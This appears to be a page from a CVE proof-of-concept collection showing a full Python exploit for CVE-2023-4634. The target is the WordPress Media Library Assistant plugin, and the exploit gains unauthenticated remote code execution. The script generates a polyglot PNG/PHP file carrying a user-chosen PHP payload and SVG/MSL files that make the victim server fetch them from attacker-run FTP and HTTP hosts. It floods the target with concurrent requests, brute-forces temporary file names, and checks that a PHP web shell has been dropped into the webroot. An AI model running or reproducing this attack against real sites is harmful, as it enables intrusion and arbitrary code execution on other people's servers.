4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2023-4634.py PY
import grequests
import requests_ftp
import argparse
import requests
import random
import time
import re
import os
from sys import stdout
from PIL import Image
from PIL.PngImagePlugin import PngInfo
from colorama import Fore, Style

# Banner and color output
COLORS = {
    "grey": 30,
    "red": 31,
    "green": 32,
    "yellow": 33,
    "blue": 34,
    "magenta": 35,
    "cyan": 36,
    "white": 37
}

def colored(text: str, color: str) -> str:
    """Colorize text with ANSI escape sequences."""
    return f"\033[{COLORS[color]}m{text}\033[0m"

MAX_CONCURRENT_THREADS = 10
BRUTEFORCE_LIST = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-"
CHECK_INTERVAL = 10
MAX_CHECK_ATTEMPTS = 9

def clear():
    os.system('clear' if os.name == 'posix' else 'cls')

def banners():
    clear()
    stdout.write("                                                                                         \n")
    stdout.write(""+Fore.LIGHTRED_EX +"███╗   ███╗███████╗██████╗ ██╗ █████╗       ██╗     ██╗██████╗ ██████╗  █████╗ ██████╗ ██╗   ██╗\n")
    stdout.write(""+Fore.LIGHTRED_EX +"████╗ ████║██╔════╝██╔══██╗██║██╔══██╗      ██║     ██║██╔══██╗██╔══██╗██╔══██╗██╔══██╗╚██╗ ██╔╝\n")
    stdout.write(""+Fore.LIGHTRED_EX +"██╔████╔██║█████╗  ██║  ██║██║███████║█████╗██║     ██║██████╔╝██████╔╝███████║██████╔╝ ╚████╔╝\n")
    stdout.write(""+Fore.LIGHTRED_EX +"██║╚██╔╝██║██╔══╝  ██║  ██║██║██╔══██║╚════╝██║     ██║██╔══██╗██╔══██╗██╔══██║██╔══██╗  ╚██╔╝\n")
    stdout.write(""+Fore.LIGHTRED_EX +"██║ ╚═╝ ██║███████╗██████╔╝██║██║  ██║      ███████╗██║██████╔╝██║  ██║██║  ██║██║  ██║   ██║\n")
    stdout.write(""+Fore.LIGHTRED_EX +"╚═╝     ╚═╝╚══════╝╚═════╝ ╚═╝╚═╝  ╚═╝      ╚══════╝╚═╝╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═╝   ╚═╝\n")
    stdout.write(""+Fore.YELLOW +"═════════════╦═════════════════════════════════╦════════════════════════════════════════════\n")
    stdout.write(""+Fore.YELLOW   +"╔════════════╩═════════════════════════════════╩═════════════════════════════╗\n")
    stdout.write(""+Fore.YELLOW   +"║ \x1b[38;2;255;20;147m• "+Fore.GREEN+"AUTHOR             "+Fore.RED+"    |"+Fore.LIGHTWHITE_EX+"   PARI MALAM                                    "+Fore.YELLOW+"║\n")
    stdout.write(""+Fore.YELLOW   +"╔════════════════════════════════════════════════════════════════════════════╝\n")
    stdout.write(""+Fore.YELLOW   +"║ \x1b[38;2;255;20;147m• "+Fore.GREEN+"GITHUB             "+Fore.RED+"    |"+Fore.LIGHTWHITE_EX+"   GITHUB.COM/PARI-MALAM                         "+Fore.YELLOW+"║\n")
    stdout.write(""+Fore.YELLOW   +"╚════════════════════════════════════════════════════════════════════════════╝\n") 
    print(f"{Fore.YELLOW}[Wordpress] - {Fore.GREEN}Unauthenticated Remote Code Execution with default Imagick\n")
banners()

def generate_polyglot_png(payload, png_polyglot_name):
    if not os.path.exists("./exploit-png"):
        os.mkdir("./exploit-png")
    try:
        targetImage = Image.open("exploit-png/sample.png")
        metadata = PngInfo()
        metadata.add_text("Comment", payload)
        targetImage.save("exploit-png/" + png_polyglot_name, pnginfo=metadata)
        print(colored("\t\t[-] " + png_polyglot_name + " polyglot PNG/PHP file generated", "green"))
        exit()
    except Exception as e:
        print(colored("\t[x] No PNG file found in the folder exploit-png, add a standard PNG sample.png in it", "red"))
        exit()

def generate_svg_files(svg_polyglot_name, svg_exploiter_names, remotehttp, png_polyglot_name, webserverpath, exploitname):
    if "FUZZ" not in svg_exploiter_names:
        print(colored("\t\t[x] The --svg_exploiter_names needs to include a FUZZ part to create the files", "red"))
        exit()
    else:
        print(colored("\t[-] Generating polyglot SVG/MSL file using user inputs", "cyan"))
        poly_svg = f"""<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="{remotehttp}/{png_polyglot_name}" />
<resize geometry="400x400" />
<write filename="{webserverpath}/{exploitname}" />
<get width="base-width" height="base-height" />
<svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="http://192.192.192.23:1664/neverExist.svg" height="100" width="100"/>
</svg>
</image>"""

        if not os.path.exists("./remote_ftp"):
            os.mkdir("./remote_ftp")

        f = open(f"./remote_ftp/{svg_polyglot_name}", "w")
        f.write(poly_svg)
        f.close()
        f = open(f"./remote_ftp/{svg_polyglot_name}[0]", "w")
        f.write(poly_svg)
        f.close()
        print(colored("\t\t[-] {svg_polyglot_name} generated", "green"))

        # Generating msl:vid bruteforcers
        print(colored("\t[-] Generating bruteforce file using text:vid:msl formatter", "cyan"))
        for i in BRUTEFORCE_LIST:
            filename = svg_exploiter_names.replace("FUZZ", i)
            exploiter_content = f"""<svg width="500" height="500"
xmlns:xlink="http://www.w3.org/1999/xlink">
xmlns="http://www.w3.org/2000/svg">
<image xlink:href="text:vid:msl:/tmp/magick-{i}*"  width="500" height="500" />
</svg>"""
            f = open(f"./remote_ftp/{filename}", "w")
            f.write(exploiter_content)
            f.close

            f = open(f"./remote_ftp/{filename}[0]", "w")
            f.write(exploiter_content)
            f.close

            print(colored("\t\t[-] {filename} generated", "green"))

        print(colored("\t[-] All files have been generated successfully", "green"))
        exit()

if __name__ == '__main__':
    parser = argparse.ArgumentParser(
        prog="CVE-2023-4634",
        allow_abbrev=False
    )
    parser.add_argument('--target', nargs='?', help='URL of the Target, ex: http://victimwordpress.org')
    parser.add_argument('--remoteftp', nargs='?', help='URL of the remote FTP use to store SVGs files, ex: ftp://X.X.X.X:PORT')
    parser.add_argument('--remotehttp', nargs='?', help='URL of the remote HTTP use to store the final Polyglot PNG/PHP file, ex: http://X.X.X.X:PORT')
    parser.add_argument('--svg_polyglot_name', nargs='?', help='Name of the external polyglot SVG/MSL file used (for generation or final usage), ex: poly.svg')
    parser.add_argument('--svg_exploiter_names', nargs='?', help='Name of the external VID bruteforcers file use, the FUZZ part will be replaced by the first letter bruteforced (for generation or final usage), ex: exploiter_FUZZ.svg')
    parser.add_argument('--png_polyglot_name', nargs='?', help='Name of the external PNG/PHP to use (for generation or final usage), ex: exploiter_FUZZ.svg')
    parser.add_argument('--concurrency', nargs='?', type=int, default=100, help='Number of concurrent long SVG conversion requests to make (default 100)')
    parser.add_argument('--generatesvg', action='store_true', help='Generate both polyglot SVG/MSL file and VID bruteforcer within the remote_ftp directory')
    parser.add_argument('--webserverpath', help='Path of the webserver on the victim server (could be found with the LFI and wp-config file), ex: /var/www/html')
    parser.add_argument('--exploitname', help='Dropped exploit name, ex: pwned.php')
    parser.add_argument('--generatepng', action='store_true', help='Generate polyglot PNG/PHP file, integrate php file with -payload option in exploit-png folder')
    parser.add_argument('--payload', help='PHP Payload to integrate in the PNG file, ex: <?php phpinfo(); ?>')

    args = parser.parse_args()

    # Assigning arguments to variables
    target = args.target
    remoteftp = args.remoteftp
    remotehttp = args.remotehttp
    svg_polyglot_name = args.svg_polyglot_name
    svg_exploiter_names = args.svg_exploiter_names
    png_polyglot_name = args.png_polyglot_name
    concurrency = args.concurrency
    generatesvg = args.generatesvg
    generatepng = args.generatepng
    webserverpath = args.webserverpath
    exploitname = args.exploitname
    payload = args.payload

    # Print banner
    print(colored("\n", "white"))
    print(colored("[-] Checking arguments", "cyan"))

    # Option to generate the polyglot PNG/PHP file
    if generatepng:
        print(colored("\t[-] Option to generate polyglot PNG/PHP selected", "cyan"))
        if not payload or not png_polyglot_name:
            print(colored("\t[x] The --payload and --png_polyglot_name options are needed to create the PNG file", "red"))
            exit()
        generate_polyglot_png(payload, png_polyglot_name)

    # Generate SVG Files
    elif generatesvg:
        print(colored("\t[-] Option to generate SVG selected", "cyan"))
        if not svg_polyglot_name or not svg_exploiter_names or not remotehttp or not png_polyglot_name or not webserverpath or not exploitname:
            print(colored("\t\t[x] The --svg_polyglot_name, --svg_exploiter_names, --remotehttp, --png_polyglot_name, --webserverpath and --exploitname options are needed to create the SVG/MSL Polyglot file", "red"))
            exit()
        generate_svg_files(svg_polyglot_name, svg_exploiter_names, remotehttp, png_polyglot_name, webserverpath, exploitname)

    # Exploitation Part
    elif target and remoteftp and remotehttp and svg_polyglot_name and svg_exploiter_names and png_polyglot_name and exploitname:
        print(colored("\t[-] All arguments for exploiting target are set, beginning the first checks", "green"))
        if "FUZZ" not in svg_exploiter_names:
            print(colored("\t\t[x] The --svg_exploiter_names needs to include a FUZZ part to be used in exploitation", "red"))
            exit()

        target_mla = target + "/wp-content/plugins/media-library-assistant/includes/mla-stream-image.php"
        target_mla_readme = target + "/wp-content/plugins/media-library-assistant/readme.txt"
        try:
            r = requests.get(target_mla_readme)
        except Exception as e:
            print(colored("\t[x] The target seems to be down, error:" + str(e), "red"))

        if r.status_code == 404:
            print(colored("\t[x] The target seems not to be running the plugin", "red"))
            exit()
        else:
            if re.findall('(?mi)Stable tag: ([0-9.]+)', r.text):
                if float(re.findall('(?mi)Stable tag: ([0-9.]+)', r.text)[0]) < 3.10:
                    print(colored("\t[-] The target seems to be running the plugin in a vulnerable version (<3.10)", "green"))
                else:
                    print(colored("\t[x] The Plugin version seems to be installed but not in a vulnerable version", "red"))

        # Checking FTP files
        ftp_target = remoteftp + "/" + svg_polyglot_name
        ftp_taget_frame = ftp_target + "[0]"
        requests_ftp.monkeypatch_session()

        s = requests.Session()
        try:
            resp = s.get(ftp_target)
        except:
            print(colored("\t[x] Error while getting the remote FTP polyglot SVG/MSL file " + ftp_target, "red"))
            exit()
        if resp.status_code == 200:
            print(colored("\t[-] The remote FTP polyglot SVG/MSL file is reachable", "green"))

        try:
            resp = s.get(ftp_taget_frame)
        except:
            print(colored("\t[x] Error while getting the remote FTP polyglot SVG/MSL file ending with [0] " + ftp_target, "red"))
            exit()
        if resp.status_code == 200:
            print(colored("\t[-] The remote FTP polyglot SVG/MSL file ending with [0] is reachable", "green"))

        ftp_target_exploiter = remoteftp + "/" + svg_exploiter_names.replace("FUZZ", random.choice(BRUTEFORCE_LIST))
        ftp_taget_exploiter_frame = ftp_target_exploiter + "[0]"
        requests_ftp.monkeypatch_session()
        s = requests.Session()
        try:
            resp = s.get(ftp_target_exploiter)
        except:
            print(colored("\t[x] Error while getting a sample remote FTP exploiter VID test file " + ftp_target, "red"))
            exit()
        if resp.status_code == 200:
            print(colored("\t[-] A sample remote FTP exploiter VID test file is reachable", "green"))

        try:
            resp = s.get(ftp_taget_exploiter_frame)
        except:
            print(colored("\t[x] Error while getting a sample remote FTP exploiter VID test file ending with [0] " + ftp_target, "red"))
            exit()
        if resp.status_code == 200:
            print(colored("\t[-] A sample Remote FTP exploiter VID test file ending with [0] is reachable", "green"))

        # Checking the final PNG/PHP polyglot file
        remote_virus = remotehttp + "/" + png_polyglot_name
        try:
            r = requests.get(remote_virus)
        except Exception as e:
            print(colored("\t[x] The Remote HTTP Server Hosting PNG Virus seems to be down, error:" + str(e), "red"))
            exit()

        if r.status_code == 404:
            print(colored("\t[x] The remote PNG/PHP file is not reachable (404)", "red"))
            exit()
        else:
            print(colored("\t[-] The remote Exploit PNG/PHP file is reachable", "green"))

        # Launching exploitation
        print(colored("[!] All arguments have been checked correctly, launching exploitation", "yellow"))
        print(colored("[-] Launching " + str(concurrency) + " Threads on long SVG", "cyan"))

        exploit_url = target_mla + "?mla_stream_file=" + ftp_target
        exploit_ploly_list = [exploit_url] * concurrency
        rs = (grequests.get(u, timeout=0.5) for u in exploit_ploly_list)
        grequests.map(rs)

        print(colored("[-] Waiting 5 seconds for the file to be created", "cyan"))
        time.sleep(5)

        print(colored("[-] Starting Bruteforcing with VID exploiters", "cyan"))
        exploit_url_list = []
        for i in BRUTEFORCE_LIST:
            exploit_url = target_mla + "?mla_stream_file=" + remoteftp + "/" + svg_exploiter_names.replace("FUZZ", i)
            exploit_url_list.append(exploit_url)

        rs = (grequests.get(u, timeout=0.5) for u in exploit_url_list)
        grequests.map(rs) 

        time.sleep(5)
        print(colored("[-] Checking the drop of " + exploitname, "cyan"))
        target_virus = target + "/" + exploitname

        i = 0   
        # Timeout set to 80 seconds
        while i <= 8:
            try:
                r = requests.get(target_virus)
            except Exception as e:
                print(colored("\t[!] Error while reaching the target URL, hope you did not crash it: " + str(e), "red"))
                exit()
            if r.status_code == 200:
                print(colored("\t[-] Exploit worked! The PHP file is in the web directory. Enjoy 🔥", "green"))
                exit()
            else:
                print(colored("\t[!] Not yet, try " + str(i+1) + " on 9 ... checking again in 10 seconds", "yellow"))
                time.sleep(10)
                i += 1
                continue

        print(colored("\t[!] Exploit has not worked, try by increasing concurrency value or use another method", "red"))
        exit()
    else:
        print(colored("\t[!] Missing arguments!", "red"))
        exit()